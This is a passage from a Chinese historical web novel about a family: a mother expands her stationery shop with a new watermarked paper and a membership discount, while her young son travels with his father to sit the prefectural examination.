此番已是教一家子都面上有光。只管去考, 无论如何,你都是爹娘的骄傲。” 如此直白的夸赞, 在平安五岁后便很少出现, 此时说来, 直教平安红了脸。 偏生慢慢还凑过来, 扑闪着水汪汪的大眼睛问:“娘親,那我呢?我呢?” “你自然也是, 每日吃好喝好睡好,心宽又率真,更是娘親的珍宝呢!” 慢慢便咯咯直樂。 平安如此刻苦, 一家子也是不能拖后腿。 日常起居和吃食上更加用心,连去往府城的騾車也进行了大升级。 先前的車厢做工不算精细,城内还好,城外的土路上总是颠簸。 林真便特意往車马行去,請了匠人给小騾量身打造了一驾車辇,轮子更是坚硬稳固,还在车轴与车辀间增加了一种唤作‘当兔’的防震设计,与车轴与车舆底板之间的伏兔装置相配合,形成两兔”系统,进一步提升减震性能。[1] 中间又以柔韧的革带相连接,分散震动,车内再鋪设厚褥子,这辆骡车便大變样,大大提升了乘车体验。 家里试驾过一回后,便在匠人那头预定了时间,预備着将另一辆骡车也改改。 平安很是过意不去,觉着家里人为了他應考之事,着实操心。 林真不觉着,平安應考,已算省心。 联保的考生和作保的禀生是徐夫子联系好的;出发的队伍,也是托了徐夫子的人情,唤了威远镖局里,经验最是老道的镖师一路护送。 如此,家里已是省去不少事儿,怎能连后勤工作都做不好呢? 至于陪考之人,是贺景。 此番前去府城,因着没有水路,陆路单程便要两日,又还要先去熟悉府城环境和考场路线,少不得要提前出发。 外在还得等着放榜,算来算去,便要半个多月。 平安一向自立,可他年纪到底还小,家里实在不放心教旁人跟着去,思来想去,还是决定教贺景亲去陪考。 鋪子上苗娘子现在立起来了,再教林屠户去頂一顶,也能成。 至于林真,实在是事赶事,诸事缠身不得空。 她预备着要将文作鋪子往边上,扩一扩。 文作鋪子没挪动,这样依托地利又没有绝对的不可替代性的铺子,一旦挪动,便会折损大半客源。 她能有机会扩张铺子,是因着中间那家铺子,又要换人了,且这回不是賃,是要直接卖。 先前的装裱铺子失了顶梁柱,接手的少掌櫃眼高手低,装裱的手艺不到家,撑不起铺子不说,连賃铺子也接二连三出问题。 不是与这个掌櫃发生口角,就是瞧着人家生意好便要毁约涨价,如此几经易手,名声是彻底臭了。 庄宅牙人不乐意坏了名声,个个不接手,铺子已到了连赁都赁不出去的地步。 铺子空了大半年了,主家实在没法子,只得松口,要卖铺子。 可因着先前的名声实在不好听,且人人都瞧得出来,卖家着急用钱。 是以,此番开口买铺子的买家,将价钱都压得死死的。 卖家自然不乐意,又拉扯半月后,居然将消息递到了林真和隔壁油烛掌柜这头来。 先前两家都有心要赁铺子,可这人咬死不肯,这番来請,油烛掌柜便不乐意要了。 油烛掌柜这些年经营有方,早已在别處开了分店,哪里还瞧得上这头。 林真也没废甚功夫,请了包经纪出面,只略等了几天,出了一个公道价,这铺子就到手了。 这是林真手里的第二个铺子,本是想着将两边儿打通,宽敞些,能多摆些货物出来。 可不想,畢老先开口,说要另制些新奇的纸张、花笺来卖。 纸坊开了快五年了,林真从来没要求过畢老製会稽纸,纸坊售卖的,多是麻纸、藤纸、桑皮纸这些实惠纸。 林真自个儿没想着要研发新品,可畢老没撑住,先开口。 “近年来风调雨顺,且此地接连几任的县尊大人都是做实事的好官,慈溪百姓富足,送孩子读书的人家愈发多,这文作铺子也是越开越多,跟风开铺子的人多,竞争自然大。我晓得东家经营有方,可若是不弄些新鲜玩意儿出来,怕是争不过其它铺子,要折些客人。” 林真未置可否。 文作铺子其实不缺生意,林真原就没指这这铺子赚大钱,这些年经营下来,走得就是一个实惠路子。 且因着燕儿那头的书坊生意愈发好,她从燕儿那头拿了好些《四书集注》、《程墨精选》、《策论范文》这些书来摆在铺子里。 夏和远学问扎实,眼光自然不错,他选中的这些辅导书,自然卖得不错。 林真又会做生意,书本摆在铺子里,手中有钱的学子直接售卖;囊中羞涩的,买了足量的纸后,便借与学子在店内抄些。 好书、好纸、好经营,三管齐下,铺子里很是积累了一大批忠实的学子来消费。 不过林真自然不嫌生意更好。 林弘川取中秀才后,名下能挂两间铺子减免税钱,林氏的香炭铺子自是一早就落在他名下。 另外一间铺子,便是林真的杂货铺了。 林弘川自家上门来说的,只道自个儿身无长物,可受林真帮助良多,着实难安,只有以此回报一二。 林真想了想,便同意了。 林弘川自来格外要强些,且心思细腻,若是不教他还了这份贫困时的襄助之情,日子久了,这情分,恐要生變。 林真慢悠悠喝了一口茶,这才开口:“畢老有何新鲜法子?说来听听。” “南朝曾有匠人製五色花笺,是将纸染色,又使名家绘紋;前朝也有薛涛笺。老朽不才,能制紋帘,抄纸后,运用巧劲儿,能在纸浆上形成水印般的明暗紋样,此为纹帘纸。” 毕老等了一息,见林真面色不变,他先稳不住,又道。 “再有,请林娘子那头的刻工制凹凸纹样的双面木板,在砑光處理时,用此套版碾压,能教纸面呈现浮雕纹,触感分明,细腻自然。” 凹凸套版?物理挤压?好像在哪里听过? 南京?空摺法?拱花技法![2] 林真面色微变,她还记得当时在南京参观学习非遗技艺时,带教的老师傅很是心痛。 明明是自家的技术,教岛国学了去,换了个名儿,就成他们的東西了! 老师傅当时的神色,一直烙在林真心底。 她后来当博主,复刻古法传承的手工艺,多多少少是受了老师傅的影响。 林真稳住心神,道:“毕老有大才,您若是有信心,便去试试。要钱,要人,尽管开口。” 毕老心中的大石落下,他搓了搓手,道:“東家大方,钱和人手都不缺。老头是想问一问,秋英,不对,秋教头,甚时候动身前往衢州?老头子也好安排了纸坊的事儿,跟着一道去。” 林真叹了一口气,果然,毕老拿出这样的绝活儿出来,是想教她们帮着将他小女儿接过来。 林真自来大方,纸坊都由毕老顶着,她给毕老开的工钱自然丰厚。 毕老手里有了钱,又经了妻儿背叛一事,好似突然就开窍了,想起女儿的好处来。 他先是去寻大女儿,求和不成,又坚持不懈送钱送东西,打听小女儿的去处。 毕大娘子自个儿不愿意接受父亲的求和与钱财,可她不能作妹妹的主;见毕老执着,半年后终于松口,说了妹妹应当在衢州。 衢州虽大,可若是舍得钱财与时间,还是能寻到人的。 毕老求到了秋英那头。 秋英现在是女镖师的领头人,她本就会四处奔波,接了毕老的委托,瞧着路线合适,也乐得去衢州一趟,打听消息顺便开拓版图。 这么找了快两年,终于寻到了毕老小女儿的消息。 “她男人早死了,带着女儿在夫家当牛做马呢!若不是大虞不许典妻卖女,你那小女儿和孙女儿,还不晓得有没有活路!”秋英扔了这句话,转身便走。 “我给她送了钱,也说了是你教我寻她的,可她不愿意来。你若有心,自个儿去接人罢!” 林真瞧着毕老,这老头现在瞧着还是可怜,可眼里有了光,瞧着不似先前那样行尸走肉似的。 “您是如何想的?” “求您先支我些银钱,我去求秋教头,多多带了人往衢州去,去接我可怜的女儿和孙女儿归来!” 毕老站起来,冲着林真一稽到底。 林真想了想,道:“这样,您先制了纹帘纸来。我瞧见实物了,便给您拉一队镖师来。这回,少不得要借威远镖局的镖师,可他们近来多接了护送考生的活儿,怕是要等些日子才得空。” 这样从陌生地界抢人的事儿,教秋英带着女子镖师显然不好行事。 毕老大喜过望,急急忙忙抽出卷在身后的纹帘纸,双手捧着。 “纹帘纸老头已是制成了,还请东家过目。至于砑花笺,得请林娘子那头的刻工相助,刻工一到,老头立马动手!”—— 作者有话说:1 阮元——《车制图解》 戴震——《考工记图》 2 南京市非物质文化遗产的十竹斋饾彩拱花技艺 浮世绘和中国拱花技术之间千丝万缕的关系,感兴趣的小伙伴可以去搜搜 第116章 乡试放榜, 用开化紙;取中进士,用得是黄檗汁染制,能防虫蛀的黄紙, 谓之金榜题名。 且科考的登第者,正式录取凭证称金花帖子,是用得阔三寸,长四寸许的洒金黄花笺, 上书写考生姓名与考官花押。[1] 从科举中, 便可窥见, 这年头的紙张,其实已被文人士族玩出很多花样了。 彩色的便有流沙笺、彩霞笺;洒金洒银的也有,甚泥金笺、洒金笺;还有私人订制版,请名家手绘的花笺。 紙本就不便宜, 这些个特殊的纸张,更是名贵异常。 可也正因着大虞纸贵, 这些特殊的纸张花笺多走华贵风。 而林家这头, 冷不丁出现了一清新别致的纹帘纸, 倒是教縣里的文人学子觉着新鲜。 纹帘纸虽好,可市场竞争大, 林家的文作鋪子又偏了些, 自然得出些奇招。 林真将隔壁的鋪子拿下后, 当即便在文作鋪子里打小广告。 告知顾客, 隔壁的鋪子也是她家的,铺子修缮好后, 设了桌椅,看书和抄书的都可去那處。且林家文作铺新制出好纸,凡是本店‘上客’, 进店便送一卷新纸。 何为‘上客’呢? 每月出资六十六文,便可成为林氏文作铺的上客,往后在林氏文作铺购买任意物品,折錢三成。 这套路熟悉罷? 可这还真不是林真原创,是她从别家文作铺子里学来的。 在她还没能自个儿开文作铺子的时候,家里买纸笔这些,多在一處铺子购买,去了两三回,那小夥计便邀约林真买会员。 啊,不是,出资为上客,往后在店內采买物品,都打折。 当时那家店铺,要求一次性出资一贯錢,且只是年費,得年年续。 从前的文作铺子走实惠路线,自然不适合此种营销策略。 可此次扩了铺子,上了新品,林真立马将这捆绑消費者的法子用上。又根据铺子的实际情况做出一定调整,纹帘纸是独家生意,往后的砑花笺也是,定然能绑住顾客。 文作铺子修缮完毕,预備着上纹帘纸时,也到了平安出发往府城应考的日子。 新骡车教家里人塞得满满当当,亏得家里的骡子正是力壮时,否则,还真是驮不动。 三月二十一日,天才麻麻亮,賀景便帶着平安准備出门。 慢慢这日也早早爬了起来,要送一送爹爹和哥哥。 平安牵着她的手,她小嘴叭叭:“哥哥,白瓷儿的敞口罐子里,是姑姑帶着我腌的青梅,你路上若是不舒坦,記得含一颗。还有些姜糖丝,那是给爹爹备的。” 哥哥不乐意吃姜糖丝,慢慢一直記着。 平安点点头。 “还有,还有,姑姑还带着我一道备了蔢(pó)荷膏[2],最是提神,你下半晌读书,若是觉着困倦,記得抹一抹。” 平安蹲下来,给慢慢整理了一下小鬏鬏上的绒花:“多谢妹妹如此费心。” 慢慢搖搖头,又叮嘱道:“哥哥,你考完就快些家来,我和娘亲在家里等你。” 平安这头叮嘱完了,慢慢又去拉着賀景说话。 林真瞧着这个小管家,哭笑不得,慢慢平日多是懒散,也只对着家里人多说几句,她还从未发现这孩子这样管事儿。 她拍拍慢慢:“好了,哥哥和爹爹都记住了,回来罷,哥哥该出发了,误了时辰可不好。” 多余的话她没说,此次出发,是与联保的考生一道,隊伍里还有经验老道的镖师护着。 再有,这一路都是平顺的官道,且因着科考一事,这两月间,府城和地方上各縣的巡防都比往日更为严格。 慈溪升为大县后,新设了巡检司,日常多有兵丁巡视。 文作铺子靠近新门桥,这些日子,林真没少瞧见巡防的兵丁出城去。 再没甚不放心的了。 林家人另驾一辆骡车,只将贺景与平安送到城门口,瞧着两人与隊伍汇合,再远远瞧着队伍汇入出城的行人中去,再也瞧不见,一家子这各自去做事。 林真瞧着慢慢恹恹的,摸摸她的小鬏鬏。 “可要与娘亲一道去文作铺子里瞧瞧?” 文作铺子扩宽后,林真也给自个儿设了一桌一椅。 铺子里宽敞,聘来的夥计机灵又勤快,此时倒是能带着慢慢往铺子里去耍耍。 “嗯?娘亲可是觉着孤单?好,慢慢陪着你。”慢慢还伸出小手,垫着小脚,很是费力地拍了拍林真的……小臂。 被迫伤心孤单的林真:成,这孩子打起精神来就好。 两人这厢去了文作铺子,铺子里多是热闹。 纹帘纸和林真的引客手段很是奏效,小伙计忙得团团转。 纹帘纸卖相很好,且出资六十六文,成为林氏文作铺的上客后,就能白得一卷纹帘纸,以后采买纹帘纸还能折价三成。 赶时髦贪新鲜的,多是手里不差钱的主儿,这六十六文便给得格外痛快。 林真提前备下的小木牌,差点儿不够用。 瞅见小伙计忙碌,林真牵着慢慢坐好,叮嘱一番,也忙着去招呼客人。 等林真忙完这一阵儿,一回头,瞧见慢慢居然有模有样地,在给一位小娘子介绍纹帘纸。 “姐姐请看,此纸洁白绵韧,柔和吃墨,且纸上水波隐现,细细观来,别有一番清雅意趣呢。” 林真瞧着好笑,这学舌的小鹦鹉。 那小娘子也好笑:“瞧着妹妹年纪还小,怎这样会说?” 慢慢羞涩一笑:“不是我说的,我是听哥哥说,我记下来,又说给姐姐听的。” 她很是热情:“姐姐瞧着可好?我送你半刀,那天还没来得及谢谢姐姐呢!” 葉书芹一惊:“这可使不得,纹帘纸价贵,怎能要妹妹相送?” 慢慢摇摇头:“不需用钱买呀。娘亲给了我一刀,我只分姐姐半刀已是小气了。可我还要分给宝儿姐姐和菱姐儿,实在没有多的了,还望姐姐莫要嫌弃。” 林真听了几句,猜出来这颇具书卷气的年轻小娘子便是放纸鸢那日,出手相救,教慢慢免于摔跤的小恩人。 便走过来,笑着道:“那日匆忙,还没来得及答谢小娘子。今日湊巧遇上,可见是缘分。此番可得教慢慢将东西送出去,免得她成日惦记,小娘子莫要推辞。” 葉书芹自是不肯,可她毕竟年轻,哪里说得过林真,稀里糊涂的,居然收了整整一刀纹帘纸在手里。 那小童的娘亲还多是有理:“小女的谢礼是她的,我这当娘亲的,自然也要答谢小娘子仗义出手。” 家去后,葉书芹瞧着那一刀纹帘纸发呆。 她的奶麽麽早早便问出来这纸的来历,皱着眉,语气不屑:“这等商贾人家,闻着味儿便湊上来!娘子可莫要被她们三言两语哄了去。” 葉书芹脸一冷,盯着麽麽道:“麽麽,那小童连我姓甚名谁都不晓得,何来巴结之意?” “哼!商贾之人,最擅钻营,谁晓得她们是不是从哪里打听了娘子的家世。这才巴巴儿地凑上来。” 叶书芹似笑非笑:“是么?我身边的事儿,都是麽麽一手打理。如此轻易就教人打听出来了?麽麽想来是年级大了,精力不济,竟是这样疏忽大意?如此,我也实在不忍心教麽麽操劳,只得请麽麽回庄子上好生修养了。” 麽麽面色大变,惊慌道:“娘子何出此言?老奴待娘子最是上心……” “话可都是麽麽自个儿说得,您可得仔细思量。”叶书芹抬抬手,打断奶麽麽的哭诉,“老太太是不大管事儿了。可干系到叶家女子的名声,她最是重视。您若是静悄悄地走,咱们两厢都好。可若是我将麽麽今日这话,一字不落地回了老太太……” 叶书芹盯着奶麽麽,轻声问:“您可想清楚了?” 麽麽这才反应过来自个儿刚刚都说了甚。 她是见识过老太太治家的手腕的,不由腿软,跪倒在地,颤声道:“娘子,娘子,求您饶我这一回罢!您可是老奴奶大的啊!” “嘘!”叶书芹竖起手指,“您小声些罢?这院儿里的高墙从来都是透风的,您不是最清楚的么?怎还如此高声?” 叶书芹瞧着哭求的奶麽麽,心中毫无波澜。 娘亲早逝,当家主母自然瞧她这前头留下的女儿不顺眼,她这头没有好前程,她也不怪奶麽麽攀高枝儿。 可情分已逝,此番打发麽麽走,便少将这些情啊恩啊的挂在嘴边。 白得一刀纹帘纸,还借此打发走了麽麽。 叶书芹笑了笑,挺好,是善缘。 林家自是不晓得这些恩怨,一心只记挂着出门的贺景与平安。 “算着日子,应当是到了府城罢?” 贺景带着平安,一路有镖师护送,不时还能遇见巡防的兵丁,自是一路畅通无阻,顺利到达府城。 府城自是比慈溪县繁华辉煌。 有內外二城,单是内城,便比慈溪县大了好几倍,八街九陌,十里长街,车水马龙,华盖云集,一派繁荣兴盛之景。 平安虽没来过府城,可他随着爹娘姑姑去过不少地方,明州城也去过几回。 此时见了这香车华盖的繁荣景,也不觉多惊讶,只一心惦记着早些安顿下来,给家里稍书信。 这番神态落在有心人眼中,对平安的评价自是又高了一些。 是以,同行中一位姓马的学子,便待平安格外热切,出口相邀:“林贤弟可寻好落脚的地儿了?若是没有,倒不如与我同行。” 马学子面上有些得意之色:“我家里有亲戚在此处做生意,我早早便托了他,寻一处小院儿待考。院子虽窄小些,可离考场近,你我同住,倒是正好合适。” 此话一出,队伍里的气氛便是一变—— 作者有话说:1 宋·陈继儒《太平清话》 2 蔢(pó)荷=薄荷 第117章 賀景没说话, 他瞧着平安,想先听听平安的意思。 父母能为孩子兜底,但不能事事为孩子做决定。且平安自来便懂事独立, 他更得尊重孩子的意见。 平安也不扭捏,大大方方一礼,道:“多謝馬学友好意,只弘安一路受诸位贤兄照顧良多, 实在不敢再搅扰诸位。且原先家里人便打听了些許消息, 此番弘安便想自个儿去尋住處。” 他面上有些羞赧之色:“说不得, 下回还得来。这回受了馬学友的照顧,下回哪里去尋熱心肠的学友照顾呢?总归要自个儿走一遭的。” 话都教平安说完了,馬学子面上挂不住,与众人商定了三日后在贡院门前碰面, 便直接走了。 他一走,其余几人寒暄几句, 便也纷纷告辞。 等人走完后, 平安仰着头问:“爹爹, 咱们也走罢。” 平安晓得爹爹不会怪他,也不多说其他的话。 賀景自然不会觉着拒了马学子的邀约不好, 他使了五个錢, 唤了城墙边儿上一幫闲来。 “小哥, 劳烦问问, 淳化坊和臨昌坊内,哪些客栈清静些?” 幫闲一听这话, 再一瞧品平安一生的圆领襕衫,一下便猜到:这是应考的学子,且人还不是无头苍蝇似的, 是提前打听了消息来的。 淳化坊和臨昌坊,可都是离着贡院最近的地头。 幫闲心下一转,瞧着应考的学子年纪小,且两人穿着都不差,便道:“郎君,您再与我二十个錢,我便引您去一處好地儿,还带着您往贡院走一趟。” 賀景眉头一挑:“二十个錢,可不便宜。” “嘿嘿,我保证,物有所值!” 賀景便依言给了那幫闲二十个錢,那帮闲收了钱,也不啰嗦,跳上贺景的騾車,便给贺景指路。 贺景依言驾着車走,平安也挑开帘子朝外看。 “您瞧瞧,这便是此次院试的考场了。考试那日,所有的車马是不許越过东大街的横街的,您可得当心些。若是教騾车越界了,衙门里的官爷可不好说话。” 帮闲先带着贺景二人瞧考场。 然后,便指挥着贺景一路向东,左拐右拐,眼见巷子愈发狭窄,贺景眉头微皱,正要发问。 可下一瞬,又拐过一路口后,突觉眼前豁然开朗。 “此處是五色坊,您莫慌,往东南面瞧一瞧。”帮闲一笑,揣着手,很是有信心。 贺景与平安依言望去。 平安身量还小,还未发觉有何玄妙,可贺景本就生得高大,此时站在骡车上,眯着眼儿望去,一下子便发觉此處之妙。 “穿过这条巷子,再往左行一盏茶的时间,便能到达东大街。到了东大街,抬眼便是贡院。”帮闲瞧着贺景看出名堂来,笑着道,“如何,您这钱,可是没白花?” 贺景一笑,又摸出十个钱来:“着实物有所值,多謝小哥。” “哎呦呦,您恁客气,咱可说好是二十个钱的,这不是要坏了我的规矩么?”帮闲嘀咕几句,可到手的钱财哪有往外推的?要坏他财运的! “这样,我再卖您一个消息,咱便算是两清了。您往这巷子里找客栈,问问掌柜的,可还有单独的小院儿。这头的院子都是特意建的,将院门一关,便能清净许多。这样的小院儿可抢手得很,您若是不问,掌柜的多是不会主动与您介绍的。他们呀,且等着过些日子,卖高價呢!” 这消息便值钱许多。 平安他们为何这样早早就来了府城? 都是为了寻一处离考场近些價钱又合适的客栈先住着,即便是要多花销几日的银钱,也比临到考前,花高價住宿又没有好位置来得好。 越是临近考试,考场周边的客栈,价钱便是越高。 雖府衙明令禁止商户在科考期间坐地起价,但好位置的客栈就那么些,很是紧俏,遇着了好客栈,考生自个儿都愿意加价。 这可怎么说? 府衙便是想调查追究,也是无从下手。 帮闲说完,跳下车便走。 近来院试,进城的外乡人可多了,正是生意好的时候,他此时回去,还能多接几单生意。 时辰雖不早了,可贺景与平安却不多着急。 事急则缓,他们要在此处住大半个月,住处自是马虎不得,此时多跑一跑,免得后头生出波折来。 两人牵着骡车一连问了七八家客栈,最后定下一家唤作吕三娘客栈的住处来。 一听这名字就晓得,这家客栈的当家掌柜是女子。 是以,客栈收拾得格外洁净,且多植草木,一进去,便叫人觉着心广神怡。 贺景瞧着这客栈的普通客房已经很是不错,可还是依言问了掌柜,可有单独的小院儿。 掌柜吕三娘闻言,爽朗一笑:“豁,若不是听您的口音,我还当是本地应考的学子呢!消息这样灵通,可见是花了心思的。” 瞧见平安年幼又懂礼,吕三娘还親自带着两人去瞧了那方院落。 小小一方院落,只一间方正的大套房。 东面置了书桌书架,西面的套房也很有意思,中间不用屏风,反用了落地罩隔开,帘子一挂,内外两张床榻便俨然是两个小房间。 外头的屋檐也开阔,贺景瞧着,若是置一小泥炉来,还能自家烧入口的熱茶汤来吃。 吕三娘道:“您虽来得早,可我这头单独的院子也只剩这一间了。您瞧瞧,若是瞧得上,我便将院门的钥匙与您。院门的钥匙只有两把,您自家留一把,柜台那头放一把。” 这意思,便是旁人想进来,也是进不来的。 贺景瞧着这小院儿虽只有一间屋子,却不显逼仄,东面的窗前还有几丛细竹,收拾得格外干净,心下满意,当即便定了下来,连价钱都没多还。 一日八百个钱,供熱水,提供一日三餐和一顿夜宵,连骡子也能照顾得周全。 细论起来,已算是实惠。 且他要的泥炉子,吕三娘也使唤小伙計搬了来,免费给他用。 “炭火您得自备,这炉子您使着,若是没有损坏,我不收钱,可若是坏了,您得照价赔我。” 贺景点头:“这是自然,多谢吕掌柜。” 他们便在这头住下。 平安瞧见住处定下,且院子这样好,很是欢喜。 悄悄靠着贺景说话:“多谢爹爹,我其实不大喜欢那马学子,这才一口拒了。” 平安也纠结过是否要应下来,他是心疼爹爹奔波的。 可娘親平日里便教他,不可行违心之事,便是小事,也不能。说是有一便有二,接连几次,岂不是教自个儿的底线越放越低? 贺景摸摸平安的小方巾,这时候的平安,少有的显露出几分孩子气。 “何必言谢?我是你爹爹,自当为你考虑周全。” 屋子里很是温情,可肚子叫唤的声儿教平安不好意思起来。 先前吕掌柜送了一碟子米糕来,贺景只吃了一块儿,其余全进了平安的肚子里,奈何平安正是长身体的时候,且平日用功,多是饿得快, 那几块米糕,可不顶饿。 贺景笑笑:“好了,咱将这几只箱笼归置好,便去吃饭。” 两人快着手脚将东西收拾好,便预备着往大堂去吃夕食。 才将出去,就瞧见一青衣学子在缠着吕掌柜:“您这头的小院儿,当真是没了?我今年来得这样早,怎还是全订出去了?您可莫要哄我。” “哎呦,客人这话说得,有钱不赚,我是傻子么?当真是没了,我这头窄小,只有三方院子,今年应考的学子多,早早便都出去了。您不若往十方客栈那头去问问,他那处地界大,您这时去,许是能定下单独的院子来。” 吕掌柜分明是瞧见贺景父子的,可她一点儿话头都没往两人身上带。 那学子还又多问了几句,见实在没法子,只能悻悻然离去。 贺景瞧在眼里,对吕掌柜倒是多了几分钦佩。 晚间,伙計送了热水来,平安洗漱过后,便觉疲惫,与爹爹说了一声,也没看书,往床铺里一滚便沉沉睡去。 贺景先在客栈里转了一圈儿,又出门去熟悉道路,还与小伙计打听了最近的医馆在何处。 等他回来时,竟发觉平安已然睡了过去。 他一惊,伸手去探平安的额头,见平安没发热,这才放下心来。 就怕平安人小体弱,这般赶路又换了地界,容易水土不服生病了。 贺景给平安拢了拢被子,觉着府城似乎比他们县里还要冷些。 他不敢托大,瞧平安睡得香甜,自家拿着汤婆子出去灌热水,顺便寻小伙计打听打听府城气候。 “可要汤婆子?”林真握着慢慢的小手,觉着有些凉。 慢慢往被窝里缩了缩,觉着有些冷,便点点头,软软道:“要一个放在脚下便好,娘親陪着我睡,我不觉多冷的。” 林真伸手捏捏慢慢的小脸:“这样会哄人,等着,娘亲去灌了热水来。” 母女俩抱成一团的时候,慢慢还忧心:“今年怎这样冷?也不晓得哥哥在外头,有没有汤婆子使。” 林真搂着她,安慰道:“爹爹可会照顾人了,定然能照顾好哥哥的。” “唉,那爹爹受累了,等他家来,我给爹爹捶背呢!”慢慢又掰着手指头算父亲和哥哥甚时候能家来,可很快,她就糊涂了,十个手指头,好像不够用啊。 慢慢偷偷去瞧娘亲的手,要不要教娘亲将手借给她呢? 可这样,娘亲不就晓得她平日里没有好好读书麽? “怎的了?算不出来?”林真明知故问。 “嗯……”慢慢有些不好意思,又赶紧保证,“娘亲告诉我罢!我从明日起,一定用功读书的。” “拉钩!”林真赶紧伸出手来。 拉钩上吊,这对慢慢比甚都好使。 一大一小两个小拇指勾在一起后,林真才道:“还有二十日左右。” 第118章 四月初六, 便是府試开考的日子。 呂三娘客棧早早就有动静,小伙计点了好些烛火,将大堂和门口, 照得亮堂堂的。 贺景带着平安也早早起身,他俩动作算快的,此时已提着灯笼预備出门。 呂三娘站在柜台后面,笑盈盈道:“预祝林小郎, 旗开得胜呀。” 今日客棧提供的朝食里, 有定胜糕, 每位考生出门前,吕三娘都会道一句吉利话。 贺景与平安都拱手谢过,便汇入了考生的队伍中。 数不清的考生,手里都提着灯笼, 烛火破开夜色,考生汇聚一处, 像是一条星光闪烁的长河, 流入贡院。 贺景带着平安选择了步行, 一路走来,倒是将身子活动开了, 且因着住处的地理位置优越, 一路步行, 居然是来得早的那一批, 又很是顺利的尋到了结保的几人。 众人聚在一处,免不了寒暄, 一时间,贡院门口,倒是熱闹非常。 倏而, 衙鼓三声,将才还熙熙攘攘的人群一静。 府試,开始了。 书吏验明正身,搜子脱衣搜身,典吏唱保,禀生作保,待到五人的信息都核对无误后,才能依次进場。 此时早已立夏,可许是因着五更入場,夜里寒凉许多,这一番折腾下来,平安将才还红润润的小臉变得刷白。 尋到自个儿的号舍,他顾不得先检查号舍,反而快手快脚翻出那只大铜瓶儿,倒了一碗熱腾腾的红糖姜茶来。 他自小便不大喜欢姜味儿,可此时也顾不得许多,趁熱一饮而尽。 一碗姜茶喝完,平安这才觉出点儿热乎气来。 缓过来后,他开始細細检查号舍。 顶上透出的一丝亮光来,平安眯着眼儿瞧,果然瞧见号舍屋顶有漏洞。寻出油布来,平安站在答題的木板上,废了些力气,才将油布固定好;擦了擦汗,又摸出防虫的藥粉来,细细洒在四周…… 对面的考生原本瞧着平安年幼,心里有些泛酸。 可此时瞧见那小孩儿踮着脚折腾一通,心里不由好笑:府試虽是连考三場,可每日一場,当日答卷完毕便可出考场,后头两场的号舍是一定会变动的,此时折腾这一通作甚? 瞧他那样子,若是摔了伤了,那才是大乐子呢! 平安可不晓得有人瞧他笑话,只专注着收拾号舍。 拾掇好后,他卸了答題的木板,与当凳子坐的木板并在一处,又翻出缀了细绒的衣裳来,往身上一裹,爬上木板床,小脑袋一偏,便睡了过去。 也不用忧心睡过头,考场有梆子声,还有唱题官,都会提醒考生录题。 对面的考生这时候又羡慕极了。 身量还没长开就是好呀,能躺着歇息,像他这样年过二十的考生,便只能静坐休息,若是不顾形象,也只能趴着回回神罢了。 贺景瞧着平安入场后,没回客栈补觉,反趁着人少,往醫馆那头去了。 农家人最会看天时,他瞧着这天儿不大对劲儿,像是要落雨。 虽则平安入场的东西備得周全,可到底年纪还小,身子比不得大人康健,他还是去抓两副藥来備着得好。 府试一连三日,并不似县试那样,要等着成绩再考。 且当日考完便能出考场,许多人又受不住搜子脱衣搜检,不少人,考篮里的东西便备得不那么多。 至少,不像平安那样,甚都备下。 是以,当第三场开考时,天上淅淅沥沥下起小雨来时,许多考生便慌了。 待到小雨变大雨,寻常的油布挡不住風雨,非得要加能挡雨防風的号帷时,许多人都傻了眼。 不少倒霉蛋儿,被分到破漏的号舍,自个儿又没做足准备,瞧着风雨侵袭号舍,只能凄惨惊呼:“啊!我的卷子!” 可这些惊呼,很快便被巡考的考官兵丁喝止,不少人,只能捂着嘴淌眼泪:卷面有污,今年的府试,又是白忙活! 贺景送平安入场时,就说过,今日许是有雨。 是以,平安一入场,早早便将油布和号帷都布置好。此时,外头虽是风大雨骤,他也只是抬起头来,确认号帷能挡住外头的风雨后,便不再分心关注天时,只专注答题。 留在客栈的贺景,瞧着屋檐下的水帘哗哗,心里有些焦急。他倒不是忧心平安的考试成绩,只担忧孩子的身子。 这两日,他回回去接平安,都能听见好些考生咳嗽,平安虽没事儿,可此番急雨,定然会教好些学子受凉。 应考的学子恁多,又都挤在考场里头。说不得,平安就教那些带病应考的学子染上了。 他翻出前两日买的药来,引了炭,在泥炉子上开始熬藥。 …… “阿嚏!”林真打了个喷嚏,觉着有些头重脚轻的,决定待会儿客人少些后,要往醫馆走一趟。 近来天气渐热,可雨水多,她昨儿夜里贪凉,开了窗,可夜里一场急雨,直接将她拿下。 “娘親,你可是着凉了?”慢慢小耳朵尖得很,听见林真打喷嚏,一下子便转过来,板着小臉,很是严肃,“一会子家去,可得好生喝藥,喝完了药,我拿松子糖给你吃呢。” 林真:这不是平日里哄这小丫头喝药的话麽?甚时候学来得? 她瞧着慢慢,无奈点头:“好,娘親记下了,定然好生喝药。” 慢慢这才满意了,小脸上露出个笑来。 为了着近日愈发管事儿的小管家莫要问东问西,林真先发问。 “今儿你那葉家阿姐还来不?若是不来,娘亲早些关了鋪子家去,瞅着这天儿,像是要落雨。” 慢慢皱着小眉头,有些为难,道:“娘亲,再等等可好?葉姐姐说了要来,一定会来的。” 林真点点头:“成,无非是冒雨回去,喝一盏子姜茶的事儿,可不能教咱慢慢失信于人。” 慢慢上回赠了那叶小娘子一刀纹帘纸,叶小娘子隔了两日,带着一包糖脆梅来,又拿了一套自家制的浮签(书签)来当回礼。 这一来二去,两人也不知怎说到一块儿去了,便约着下回一起制浮签。 可今日,瞧着约定的时辰已过,鋪子里却迟迟不见叶小娘子的身影。 慢慢先还坐在椅子上安生等着,可后来,便一步一步蹭去了门口,小脸皱巴巴,瞧着怪是可怜。 林真皱眉,过去摸了摸慢慢的小手,入手果是一片冰凉。 “咱先回去罢?眼瞅着要变天了,你在这风口上等着,若是着凉了,可得跟着娘一道喝苦药汁儿的。” 慢慢低头,瞧着自个儿的脚尖,终是低低应了一声。 林真瞧不得慢慢这样,安慰她道:“叶小娘子一向守时,今日许是有事儿耽擱了。这样,娘在铺子门口帖张纸,说咱们先家去了,往后还来铺子上寻你,可好?” “嗯!娘亲最好了!”慢慢这才欢喜起来。 林真唤了伙计关了铺子,驾着骡车往惠民药局去。 慢慢得去瞧一瞧,她也得去抓副药来吃。 晚间,慢慢果然有些不好,林真喝了药也是迷迷糊糊,幸而家里有苗娘子吴麽麽等人照顾着。 只母女俩不能一道睡了,便换了苗娘子来陪着慢慢。 这丫头此时还忧心呢! 仰着头问苗娘子:“阿奶,爹爹和哥哥只有倆人,他们若是着凉了,谁来照顾他们呀?” 苗娘子摸着慢慢发烫的额头,心疼得很,柔声哄她。 